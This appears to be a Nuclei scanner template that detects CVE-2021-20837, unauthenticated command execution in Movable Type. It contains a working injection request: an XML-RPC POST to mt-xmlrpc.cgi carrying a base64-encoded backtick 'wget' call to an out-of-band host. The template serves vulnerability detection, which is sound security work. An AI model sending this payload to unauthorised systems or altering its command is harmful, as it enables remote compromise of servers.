54 lines
1.6 KiB
YAML
54 lines
1.6 KiB
YAML
id: CVE-2021-20837
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info:
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name: Unauthenticated RCE In MovableType
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author: dhiyaneshDK,hackergautam
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severity: critical
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description: 5002 and earlier (Movable Type Advanced 7 Series), Movable Type Advanced 6.8. 2 and earlier (Movable Type Advanced 6 Series), Movable Type Premium 1.46 and earlier, and Movable Type Premium Advanced 1.46 and earlier allow remote attackers to execute arbitrary OS commands via unspecified vectors.
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reference:
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- https://nemesis.sh/posts/movable-type-0day/
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- https://github.com/ghost-nemesis/cve-2021-20837-poc
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- https://twitter.com/cyber_advising/status/1454051725904580608
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20837
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tags: cve,cve2021,rce,movable
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2021-20837
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cwe-id: CWE-78
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requests:
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- raw:
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- |
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POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/xml
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<?xml version="1.0" encoding="UTF-8"?>
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<methodCall>
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<methodName>mt.handler_to_coderef</methodName>
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<params>
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<param>
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<value>
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<base64>
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{{base64("`wget http://{{interactsh-url}}`")}}
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</base64>
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</value>
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</param>
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</params>
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</methodCall>
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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- type: word
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words:
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- "failed loading package"
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- type: status
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status:
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- 200 |